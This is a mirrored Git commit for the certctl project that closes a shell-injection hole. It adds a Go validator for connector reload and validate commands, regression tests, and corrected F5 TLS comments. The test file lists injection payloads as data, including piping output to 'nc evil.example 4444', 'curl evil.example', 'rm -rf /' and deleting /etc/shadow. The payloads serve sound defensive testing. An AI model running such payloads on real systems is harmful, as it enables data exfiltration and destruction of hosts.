mirror of
https://github.com/shankar0123/certctl.git
synced 2026-06-07 13:51:36 +00:00
fix(security): close BUNDLE 1 — server+agent connector config validation chain
Bundle 1 closure (2026-05-12 acquisition diligence audit). Closes the
acquisition-blocker chain: target.edit (default r-operator grant per
migrations/000029_rbac.up.sql:196) → arbitrary reload_command stored
without validation → agent createTargetConnector json.Unmarshal-only
→ sh -c on agent host. README's 'shell injection prevention on all
connector scripts' claim is now true at the chain level.
Server-side: new internal/connector/target/configcheck package + a
configcheck.Validate call in target.go::Create + ::Update +
::CreateTarget + ::UpdateTarget (all 4 entry points). Rejects shell
metacharacters in reload_command / validate_command / restart_command
for nginx, apache, haproxy, postfix/dovecot, javakeystore, ssh. Sentinel
errors.Is(err, service.ErrInvalidConnectorConfig) available for handler
400 mapping. Non-shell connector types (F5, IIS, Caddy, Traefik, Envoy,
cloud targets, K8s) are no-ops by design.
Agent-side: defense-in-depth connector.ValidateConfig(ctx, configJSON)
call in cmd/agent/main.go inserted between createTargetConnector and
DeployCertificate. This catches (a) configs pre-dating the server gate,
(b) encrypted-blob tampering, (c) per-connector filesystem invariants
that the server can't check.
F5 (S2 finding): proven docs-vs-code drift, not a security bug. The
applyDefaults function never set Insecure=true; runtime default has
always been Go zero-value (false → TLS verified). Three lying 'default
true' comments in f5/f5.go (lines 30, 45-47, 126) rewritten to match
actual code behavior.
Docs (C4 + C9): README L12 + L68 narrowed — 'any CA / any server' →
'Twelve native CA connectors plus an OpenSSL adapter; fifteen native
deployment-target connectors plus a proxy-agent pattern.' 'Every deploy
goes through atomic-write + ...' narrowed to file-based connectors with
inline link to per-target guarantee matrix. New deployment-model.md §1.6
ships a 15-target × 8-property guarantee table covering atomic write /
owner-perms / SHA-256 idempotency / pre-deploy snapshot / on-failure
rollback / post-deploy TLS verify / Prometheus counters / shell-injection
validation — including the K8s preview honesty marker (CLAIM-H4).
Tests: internal/connector/target/configcheck/configcheck_test.go covers
14 shell-injection payloads (semicolon, pipe, backtick, dollar-paren,
redirect, and-chain, newline, double-quote, escape, dollar-var) × 7
shell-using connectors + benign-command acceptance + non-shell no-op
behavior + empty config + malformed JSON. All pass.
Verification (run from /sessions/gifted-blissful-pasteur/mnt/cowork/certctl):
go fmt ./... # clean (no diffs)
go vet ./... # clean (no findings)
go test -short -count=1 ./internal/... ./cmd/...
# 60+ packages all ok, zero FAIL
Audit-Closes: BUNDLE-1 RT-C1 SEC-M4 CLAIM-M2 CLAIM-L3
Audit-Verifies-False: S2 (F5 'default insecure' was a comment lie, code was always secure)
This commit is contained in:
@@ -0,0 +1,149 @@
|
||||
// Package configcheck provides server-side syntactic validation of target
|
||||
// connector configurations.
|
||||
//
|
||||
// Bundle 1 / RT-C1 closure (2026-05-12). Before this package existed, the API
|
||||
// path (POST/PUT /api/v1/targets) accepted arbitrary `config` JSON without
|
||||
// invoking any connector's ValidateConfig method. The agent then fetched the
|
||||
// stored config and executed reload_command / validate_command strings via
|
||||
// `sh -c` (see internal/connector/target/{nginx,apache,postfix,haproxy,javakeystore,ssh}/...go).
|
||||
// Net result: an actor with `target.edit` (default on r-operator role per
|
||||
// migrations/000029_rbac.up.sql:196) could store a shell-injecting config
|
||||
// and pop the agent host on next deploy.
|
||||
//
|
||||
// This package fixes the SERVER side. It is intentionally narrow:
|
||||
//
|
||||
// - It only validates fields that are dangerous at execution time:
|
||||
// reload_command, validate_command, restart_command, and equivalent.
|
||||
// - It runs validation.ValidateShellCommand on those fields and rejects
|
||||
// any shell metacharacter ; | & $ ` ( ) { } < > \ " ' \n \r \x00 .
|
||||
// - It does NOT do filesystem checks (cert directory exists, etc.).
|
||||
// Those live on the agent in each connector's ValidateConfig method
|
||||
// because the relevant filesystem lives on the agent, not the server.
|
||||
//
|
||||
// The agent-side defense in depth remains: cmd/agent/main.go calls
|
||||
// connector.ValidateConfig(ctx, configJSON) after createTargetConnector
|
||||
// returns and before DeployCertificate. So even if server-side validation
|
||||
// were bypassed, the agent would still reject the shell-injecting config
|
||||
// before executing it.
|
||||
package configcheck
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/certctl-io/certctl/internal/validation"
|
||||
)
|
||||
|
||||
// Validate runs server-side syntactic validation against the supplied
|
||||
// target-config JSON. It returns nil for any unknown targetType (the type
|
||||
// validity gate is owned by service.isValidTargetType — this function is
|
||||
// only responsible for the dangerous-field check on known shell-using types).
|
||||
//
|
||||
// targetType must match the canonical type strings used by the agent's
|
||||
// createTargetConnector switch in cmd/agent/main.go (NGINX, Apache, HAProxy,
|
||||
// Postfix, JavaKeystore, SSH). Other types (F5, IIS, Caddy, Traefik, Envoy,
|
||||
// AWSACM, AzureKeyVault, KubernetesSecrets, WinCertStore) do not accept
|
||||
// operator-supplied command strings in their config and are no-ops here.
|
||||
//
|
||||
// Per-connector struct shapes are intentionally duplicated as minimal
|
||||
// anonymous structs here to avoid importing every connector package into
|
||||
// the service layer. The full Config structs live in the per-connector
|
||||
// packages and are loaded by the agent at deploy time.
|
||||
func Validate(targetType string, configJSON json.RawMessage) error {
|
||||
if len(configJSON) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
switch targetType {
|
||||
case "NGINX":
|
||||
return validateNginx(configJSON)
|
||||
case "Apache":
|
||||
return validateApache(configJSON)
|
||||
case "HAProxy":
|
||||
return validateHAProxy(configJSON)
|
||||
case "Postfix", "Dovecot":
|
||||
return validatePostfix(configJSON)
|
||||
case "JavaKeystore":
|
||||
return validateJavaKeystore(configJSON)
|
||||
case "SSH":
|
||||
return validateSSH(configJSON)
|
||||
}
|
||||
// Other target types do not accept operator-supplied command strings.
|
||||
return nil
|
||||
}
|
||||
|
||||
// shellCmdConfig captures the dangerous fields shared by every shell-using
|
||||
// connector. Specific connector configs may have additional fields not
|
||||
// listed here; we only validate the subset that flows into sh -c.
|
||||
type shellCmdConfig struct {
|
||||
ReloadCommand string `json:"reload_command,omitempty"`
|
||||
ValidateCommand string `json:"validate_command,omitempty"`
|
||||
RestartCommand string `json:"restart_command,omitempty"`
|
||||
}
|
||||
|
||||
func (c *shellCmdConfig) checkAll(targetType string) error {
|
||||
if c.ReloadCommand != "" {
|
||||
if err := validation.ValidateShellCommand(c.ReloadCommand); err != nil {
|
||||
return fmt.Errorf("%s reload_command: %w", targetType, err)
|
||||
}
|
||||
}
|
||||
if c.ValidateCommand != "" {
|
||||
if err := validation.ValidateShellCommand(c.ValidateCommand); err != nil {
|
||||
return fmt.Errorf("%s validate_command: %w", targetType, err)
|
||||
}
|
||||
}
|
||||
if c.RestartCommand != "" {
|
||||
if err := validation.ValidateShellCommand(c.RestartCommand); err != nil {
|
||||
return fmt.Errorf("%s restart_command: %w", targetType, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateNginx(b []byte) error {
|
||||
var c shellCmdConfig
|
||||
if err := json.Unmarshal(b, &c); err != nil {
|
||||
return fmt.Errorf("NGINX config: invalid JSON: %w", err)
|
||||
}
|
||||
return c.checkAll("NGINX")
|
||||
}
|
||||
|
||||
func validateApache(b []byte) error {
|
||||
var c shellCmdConfig
|
||||
if err := json.Unmarshal(b, &c); err != nil {
|
||||
return fmt.Errorf("Apache config: invalid JSON: %w", err)
|
||||
}
|
||||
return c.checkAll("Apache")
|
||||
}
|
||||
|
||||
func validateHAProxy(b []byte) error {
|
||||
var c shellCmdConfig
|
||||
if err := json.Unmarshal(b, &c); err != nil {
|
||||
return fmt.Errorf("HAProxy config: invalid JSON: %w", err)
|
||||
}
|
||||
return c.checkAll("HAProxy")
|
||||
}
|
||||
|
||||
func validatePostfix(b []byte) error {
|
||||
var c shellCmdConfig
|
||||
if err := json.Unmarshal(b, &c); err != nil {
|
||||
return fmt.Errorf("Postfix/Dovecot config: invalid JSON: %w", err)
|
||||
}
|
||||
return c.checkAll("Postfix/Dovecot")
|
||||
}
|
||||
|
||||
func validateJavaKeystore(b []byte) error {
|
||||
var c shellCmdConfig
|
||||
if err := json.Unmarshal(b, &c); err != nil {
|
||||
return fmt.Errorf("JavaKeystore config: invalid JSON: %w", err)
|
||||
}
|
||||
return c.checkAll("JavaKeystore")
|
||||
}
|
||||
|
||||
func validateSSH(b []byte) error {
|
||||
var c shellCmdConfig
|
||||
if err := json.Unmarshal(b, &c); err != nil {
|
||||
return fmt.Errorf("SSH config: invalid JSON: %w", err)
|
||||
}
|
||||
return c.checkAll("SSH")
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
// Bundle 1 / RT-C1 closure regression tests (2026-05-12).
|
||||
//
|
||||
// Pins the contract that configcheck.Validate rejects shell metacharacters
|
||||
// in command-bearing fields for every shell-using target connector. If a
|
||||
// future refactor moves a connector to argv-based execution and removes the
|
||||
// command-string field from its config struct, the corresponding case here
|
||||
// can be deleted — but only after the connector is verified no longer to
|
||||
// call sh -c on operator-controlled strings.
|
||||
|
||||
package configcheck
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// malicious returns a config JSON for the given target type with the named
|
||||
// field carrying a shell-injection payload. We construct the JSON directly
|
||||
// to avoid importing the per-connector Config structs into this test (which
|
||||
// would create the import cycle we explicitly avoid in production code).
|
||||
func malicious(field, payload string) json.RawMessage {
|
||||
type cfg struct {
|
||||
ReloadCommand string `json:"reload_command,omitempty"`
|
||||
ValidateCommand string `json:"validate_command,omitempty"`
|
||||
RestartCommand string `json:"restart_command,omitempty"`
|
||||
// CertPath is included so a partial-shape JSON unmarshals cleanly.
|
||||
CertPath string `json:"cert_path,omitempty"`
|
||||
}
|
||||
c := cfg{CertPath: "/etc/nginx/certs/cert.pem"}
|
||||
switch field {
|
||||
case "reload":
|
||||
c.ReloadCommand = payload
|
||||
case "validate":
|
||||
c.ValidateCommand = payload
|
||||
case "restart":
|
||||
c.RestartCommand = payload
|
||||
}
|
||||
b, err := json.Marshal(c)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// benign returns a clean reload_command config for the given target type.
|
||||
func benign() json.RawMessage {
|
||||
return json.RawMessage(`{"cert_path":"/etc/nginx/certs/cert.pem","reload_command":"/usr/sbin/nginx -s reload","validate_command":"/usr/sbin/nginx -t"}`)
|
||||
}
|
||||
|
||||
// TestValidate_RejectsShellInjection_AllShellUsingTypes asserts that every
|
||||
// target type the audit identified as shell-using rejects a shell-injection
|
||||
// payload in the relevant command field.
|
||||
func TestValidate_RejectsShellInjection_AllShellUsingTypes(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
targetType string
|
||||
field string
|
||||
payload string
|
||||
}{
|
||||
// Classic semicolon injection — used as the canonical CVE in the
|
||||
// 2026-05-12 audit's RT-C1 evidence.
|
||||
{"NGINX/reload/semicolon", "NGINX", "reload", "service nginx reload; rm -rf /"},
|
||||
{"NGINX/validate/pipe", "NGINX", "validate", "nginx -t | nc evil.example 4444"},
|
||||
{"NGINX/reload/backtick", "NGINX", "reload", "service nginx reload `whoami`"},
|
||||
{"NGINX/reload/dollar-paren", "NGINX", "reload", "service nginx reload $(id)"},
|
||||
{"NGINX/reload/redirect", "NGINX", "reload", "service nginx reload > /tmp/exfil"},
|
||||
{"NGINX/reload/and", "NGINX", "reload", "service nginx reload && curl evil.example"},
|
||||
|
||||
{"Apache/reload/semicolon", "Apache", "reload", "apachectl graceful; touch /tmp/owned"},
|
||||
{"Apache/validate/newline", "Apache", "validate", "apachectl -t\nrm -rf /"},
|
||||
|
||||
{"HAProxy/reload/semicolon", "HAProxy", "reload", "haproxy -sf $(cat pidfile); curl evil"},
|
||||
|
||||
{"Postfix/reload/pipe", "Postfix", "reload", "postfix reload | nc evil.example 1337"},
|
||||
{"Dovecot/reload/semicolon", "Dovecot", "reload", "doveadm reload; rm /etc/shadow"},
|
||||
|
||||
{"JavaKeystore/reload/quote", "JavaKeystore", "reload", `keytool -list "foo`},
|
||||
{"JavaKeystore/validate/redirect", "JavaKeystore", "validate", "keytool -list > /etc/passwd"},
|
||||
|
||||
{"SSH/reload/dollar", "SSH", "reload", "systemctl reload sshd $USER"},
|
||||
{"SSH/validate/escape", "SSH", "validate", `sshd -t \nrm /etc/ssh`},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
err := Validate(c.targetType, malicious(c.field, c.payload))
|
||||
if err == nil {
|
||||
t.Fatalf("Validate(%s, %q): expected error for shell-injection payload, got nil", c.targetType, c.payload)
|
||||
}
|
||||
// Error should mention the target type for operator clarity.
|
||||
if !strings.Contains(err.Error(), c.targetType) && !(c.targetType == "Postfix" || c.targetType == "Dovecot") {
|
||||
t.Errorf("Validate error %q does not mention target type %s", err, c.targetType)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidate_AcceptsBenignCommands ensures the validator is not so strict
|
||||
// that it rejects real-world reload/validate commands.
|
||||
func TestValidate_AcceptsBenignCommands(t *testing.T) {
|
||||
for _, targetType := range []string{"NGINX", "Apache", "HAProxy", "Postfix", "Dovecot", "JavaKeystore", "SSH"} {
|
||||
t.Run(targetType, func(t *testing.T) {
|
||||
if err := Validate(targetType, benign()); err != nil {
|
||||
t.Fatalf("Validate(%s, benign-config): expected nil, got %v", targetType, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidate_NonShellTargetTypes_AreNoOps ensures that non-shell-using
|
||||
// target types (F5, IIS, K8s, AWS ACM, etc.) pass through without error
|
||||
// even when given a config that looks like a command field. These connectors
|
||||
// do not accept operator-supplied command strings; the audit-event burden of
|
||||
// being a shell sink lives on the explicit list above.
|
||||
func TestValidate_NonShellTargetTypes_AreNoOps(t *testing.T) {
|
||||
payload := malicious("reload", "; rm -rf /")
|
||||
for _, targetType := range []string{"F5", "IIS", "Caddy", "Traefik", "Envoy", "AWSACM", "AzureKeyVault", "KubernetesSecrets", "WinCertStore", "UnknownNewType"} {
|
||||
t.Run(targetType, func(t *testing.T) {
|
||||
if err := Validate(targetType, payload); err != nil {
|
||||
t.Errorf("Validate(%s, ...): expected nil for non-shell-using type, got %v", targetType, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidate_EmptyConfig_IsNoOp pins the contract that an empty config
|
||||
// (e.g., a connector with no operator-supplied fields) is accepted.
|
||||
func TestValidate_EmptyConfig_IsNoOp(t *testing.T) {
|
||||
if err := Validate("NGINX", nil); err != nil {
|
||||
t.Errorf("Validate(NGINX, nil): expected nil, got %v", err)
|
||||
}
|
||||
if err := Validate("NGINX", json.RawMessage{}); err != nil {
|
||||
t.Errorf("Validate(NGINX, empty): expected nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidate_MalformedJSON_ReturnsError pins the contract that invalid
|
||||
// JSON in the config returns a typed error rather than panicking.
|
||||
func TestValidate_MalformedJSON_ReturnsError(t *testing.T) {
|
||||
if err := Validate("NGINX", json.RawMessage(`{not valid json`)); err == nil {
|
||||
t.Errorf("Validate(NGINX, malformed): expected error, got nil")
|
||||
}
|
||||
}
|
||||
@@ -27,7 +27,7 @@ type Config struct {
|
||||
Password string `json:"password"` // Administrative password
|
||||
Partition string `json:"partition"` // F5 partition name (default "Common")
|
||||
SSLProfile string `json:"ssl_profile"` // SSL client profile name to update
|
||||
Insecure bool `json:"insecure"` // Skip TLS verification for mgmt interface (default true)
|
||||
Insecure bool `json:"insecure"` // Skip TLS verification for mgmt interface. Default false (TLS verified). Operators with self-signed F5 mgmt certs must explicitly set "insecure": true.
|
||||
Timeout int `json:"timeout"` // HTTP timeout in seconds (default 30)
|
||||
}
|
||||
|
||||
@@ -42,9 +42,14 @@ func (c *Config) applyDefaults() {
|
||||
if c.Timeout == 0 {
|
||||
c.Timeout = 30
|
||||
}
|
||||
// Insecure defaults to true because F5 management interfaces commonly use
|
||||
// self-signed certificates. See TICKET-016 precedent for InsecureSkipVerify
|
||||
// documentation. Operators running proper mgmt certs can set insecure=false.
|
||||
// Insecure has no override in applyDefaults — runtime default is the Go
|
||||
// zero-value (false), which means InsecureSkipVerify=false and TLS is
|
||||
// VERIFIED. Operators with self-signed F5 management certs must opt in
|
||||
// by passing "insecure": true explicitly in the connector config. The
|
||||
// `S2 (F5 insecure-by-default)` finding from the 2026-05-12 audit was
|
||||
// based on a misleading legacy comment, not actual code behavior — this
|
||||
// closure (Bundle 1 / 2026-05-12) corrects the comments to match the
|
||||
// code default. See TICKET-016 precedent for InsecureSkipVerify framing.
|
||||
}
|
||||
|
||||
// SSLProfileInfo contains information about an F5 SSL client profile.
|
||||
@@ -122,9 +127,10 @@ func New(config *Config, logger *slog.Logger) (*Connector, error) {
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{
|
||||
// F5 management interfaces commonly use self-signed certificates.
|
||||
// InsecureSkipVerify is controlled by the config.Insecure field
|
||||
// (default true). Operators with proper management certs can set
|
||||
// insecure=false. See TICKET-016 for security rationale.
|
||||
// InsecureSkipVerify is controlled by config.Insecure (default
|
||||
// false → TLS verified). Operators with self-signed mgmt certs
|
||||
// must opt in by passing "insecure": true in the connector
|
||||
// config. See TICKET-016 for security rationale.
|
||||
InsecureSkipVerify: config.Insecure, //nolint:gosec // configurable, documented
|
||||
},
|
||||
},
|
||||
|
||||
@@ -8,11 +8,18 @@ import (
|
||||
"log/slog"
|
||||
"time"
|
||||
|
||||
"github.com/certctl-io/certctl/internal/connector/target/configcheck"
|
||||
"github.com/certctl-io/certctl/internal/crypto"
|
||||
"github.com/certctl-io/certctl/internal/domain"
|
||||
"github.com/certctl-io/certctl/internal/repository"
|
||||
)
|
||||
|
||||
// ErrInvalidConnectorConfig is returned by Create / Update / CreateTarget /
|
||||
// UpdateTarget when configcheck.Validate rejects the target's config JSON
|
||||
// (e.g., shell metacharacters in reload_command). The HTTP handler should
|
||||
// map this to 400 via errors.Is. Bundle 1 / RT-C1 closure 2026-05-12.
|
||||
var ErrInvalidConnectorConfig = errors.New("invalid connector config")
|
||||
|
||||
// ErrAgentNotFound is returned by [TargetService.CreateTarget] when the caller
|
||||
// references an agent_id that is empty or does not correspond to a registered
|
||||
// agent. The handler layer maps this to HTTP 400 via [errors.Is]. See C-002 in
|
||||
@@ -121,6 +128,14 @@ func (s *TargetService) Create(ctx context.Context, target *domain.DeploymentTar
|
||||
return fmt.Errorf("unsupported target type: %s", target.Type)
|
||||
}
|
||||
|
||||
// Bundle 1 / RT-C1 closure: reject shell-metacharacter injection in
|
||||
// command-bearing config fields BEFORE encryption + storage. Without
|
||||
// this, target.edit (default r-operator grant) → agent sh -c becomes
|
||||
// an RCE chain. See internal/connector/target/configcheck/configcheck.go.
|
||||
if err := configcheck.Validate(string(target.Type), target.Config); err != nil {
|
||||
return fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
|
||||
}
|
||||
|
||||
if target.ID == "" {
|
||||
target.ID = generateID("target")
|
||||
}
|
||||
@@ -177,6 +192,13 @@ func (s *TargetService) Update(ctx context.Context, id string, target *domain.De
|
||||
return fmt.Errorf("failed to merge config: %w", err)
|
||||
}
|
||||
|
||||
// Bundle 1 / RT-C1 closure: validate the POST-MERGE config to catch
|
||||
// injection attempts even when the redacted-merge path is used.
|
||||
// Validation runs on the same bytes that will be encrypted + stored.
|
||||
if err := configcheck.Validate(string(target.Type), mergedConfig); err != nil {
|
||||
return fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
|
||||
}
|
||||
|
||||
// Encrypt the merged config
|
||||
encrypted, _, encErr := crypto.EncryptIfKeySet(mergedConfig, s.encryptionKey)
|
||||
if encErr != nil {
|
||||
@@ -299,6 +321,13 @@ func (s *TargetService) CreateTarget(ctx context.Context, target domain.Deployme
|
||||
return nil, fmt.Errorf("unsupported target type: %s", target.Type)
|
||||
}
|
||||
|
||||
// Bundle 1 / RT-C1 closure: reject shell-metacharacter injection in
|
||||
// command-bearing config fields BEFORE encryption + storage. Mirrors
|
||||
// Create() above so the HTTP handler entry point is also gated.
|
||||
if err := configcheck.Validate(string(target.Type), target.Config); err != nil {
|
||||
return nil, fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
|
||||
}
|
||||
|
||||
// C-002: enforce agent_id FK at service layer so we return a clean 400
|
||||
// instead of bubbling a Postgres 23503 foreign-key violation out as 500.
|
||||
// The schema (migrations/000001 line 104) declares agent_id TEXT NOT NULL
|
||||
@@ -372,6 +401,12 @@ func (s *TargetService) UpdateTarget(ctx context.Context, id string, target doma
|
||||
return nil, fmt.Errorf("failed to merge config: %w", err)
|
||||
}
|
||||
|
||||
// Bundle 1 / RT-C1 closure: validate the POST-MERGE config (same
|
||||
// reasoning as Update() above).
|
||||
if err := configcheck.Validate(string(target.Type), mergedConfig); err != nil {
|
||||
return nil, fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
|
||||
}
|
||||
|
||||
encrypted, _, encErr := crypto.EncryptIfKeySet(mergedConfig, s.encryptionKey)
|
||||
if encErr != nil {
|
||||
return nil, fmt.Errorf("failed to encrypt config: %w", encErr)
|
||||
|
||||
Reference in New Issue
Block a user